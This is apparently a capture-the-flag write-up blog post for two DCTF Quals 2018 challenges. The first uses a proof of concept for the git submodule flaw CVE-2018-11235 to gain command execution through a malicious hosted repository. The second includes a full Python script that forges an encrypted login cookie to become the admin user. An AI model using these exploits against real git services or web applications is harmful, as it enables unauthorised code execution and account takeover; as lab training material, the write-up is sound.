DCTF Quals 2018 write ups


This weekend the DCTF Quals 2018 edition were running!

As usual, I was playing for the Greunion team, but this time there were no crypto category per se, so I did not spend much time on the CTF at all.

Online linter

TL;DR: CVE-2018-11235 using a PoC I wrote at the time.

This exploit challenge asks for a git repository URL, clones it and apply some kind of syntax check on any .php files.

A teammate, rkmylo, figured out that the git repository may be cloned with the -recurse-submodules flag, and if so, it may be vulnerable to CVE-2018-11235 which would allow for arbitrary execution.

Funny enough, I created a proof of concept against that vulnerability when it was published in May 2018.

So let's run the proof of concept! To do so, we need to:

  1. Edit the file from the repository;
  2. Run the script, this creates a directory named repo containing a git repository;
  3. Host that git repository somewhere;
  4. Provides that URL to the challenge;
  5. Profit!

Only step 3 provides a little bit harder than expected. Indeed, many git forges such as GitHub or GitLab do not allow to host a git repository explointing CVE-2018-11235.

We went the manual route and host on a server on our own, using the following quick-and-dirty approach:

# clone proof of concept repository git clone cd CVE-2018-11235 # edit and build vim # put: head -1 /var/www/html/index.php ./ # host the evil repository git clone --bare repo repo-bare cd repo-bare git --bare update-server-info python2 -m SimpleHTTPServer

We provide the URL to the server, and gain command execution! After a little bit of searching, the flag is in the /var/www/html/index.php file:

===> Executing git clone '' Cloning into '/tmp/ce4f6ffa004b8dde458ce1e5f2d9d30e'... Submodule 'Spoon-Knife' ( registered for path 'Spoon-Knife' Submodule '../../modules/evil' ( registered for path 'evil' Cloning into '/tmp/ce4f6ffa004b8dde458ce1e5f2d9d30e/Spoon-Knife'... Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9' <?php /* Good job, here's the reward: DCTF{4a49b863ba931ac65b077a504b973d9ddab4f343b00651a0b4ff9b8d7575f41f} */ ?><html>

Get Admin

TL;DR: Custom serialisation in an encrypted input.

This is a web challenge, for which we have the source code. The website allows to register ourselves, login, and if we end up with user id equal to 1, the flag is printed.


When we login, an encrypted cookie is sent to the browser containing the following data, in that order: id, username, email, checksum; like so:


This custom serialisation format is clearly key-value based, and the checksum is simply the CRC32 of the following:


This is then encrypted using AES in CBC mode.

The plan is to forge such a cookie value so that the id is 1. However, we need to pass the checksum, which should not be too complex given that it is a simple CRC32 value.

In the above, the following is under our control: the username foo and the email

Key override

One thing we noticed is that if the same key is repeated in the serialized data, only the last occurrence is used for the value.

This is good as far as the id is concerned, because we can simply override it. However, we cannot override the checksum because it is appended to the values under our control.

Since CRC32 is a pretty weak checksum, it should be no problem to find a collision, however we would need to know our real id before registration, and this is not possible.

An other idea is to cut the serialised value at a specific position.

For example, if we use the following as our username:


Then the plaintext in the cookie will be something like:


We will then cut that plaintext to be the following:


And if it works, we should be connected with id=1, because we made sure that the checksum would be valid at this point!

To do so, let's look at how decryption works. Since AES, a block cipher, is used to encrypt the cookie, some kind of padding must be performed to be able to retrieve the exact same plaintext on decryption.

In our case, the decrypted plaintext is cut to a specific length provided in cleartext at the end of the cookie.

In other words, we will just need to set the right length! The only thing we don't know is how many digits are used by our real id, but we can bruteforce that.


Running the following script gives us the flag: DCTF{4EF853DFC818AFEC39497CD1B91625F9E6E19D34D8E43E56722026F26A95F13E}.

import binascii import random import requests import string import urllib def random_str(l): return ''.join(random.choice(string.lowercase) for _ in range(l)) username = password = random_str(16) email = '{}'.format(username) crc_compute = 'id¡1÷username¡{}'.format(username) crc_value = binascii.crc32(crc_compute) & 0xffffffff fake_username = '{}÷checksum¡{}÷id¡1'.format(username, crc_value) expected_length = len('id¡?÷username¡{}'.format(fake_username)) # register r = '', data={'username': fake_username, 'password': password, 'confirm_password': password, 'email': email}) # login to get cookie r = '', data={'username': fake_username, 'password': password}, allow_redirects=False) cookie = urllib.unquote(r.cookies['user']) # use modified cookie to get flag for length in range(expected_length, expected_length + 10): print 'Trying length', length auth = urllib.quote('{}{:06d}'.format(cookie[:-6], length)) r = requests.get('', cookies={'user': auth}) if 'DCTF{' in r.text: print r.text break


An other weekend, an other CTF! No crypto challenges this time, which allowed me not to spend too much time on it.

That being said, my team did an amazing job as usual, which gave us the fifth place!


This article, source code and image are released under the CC BY-SA licence.

Short URL: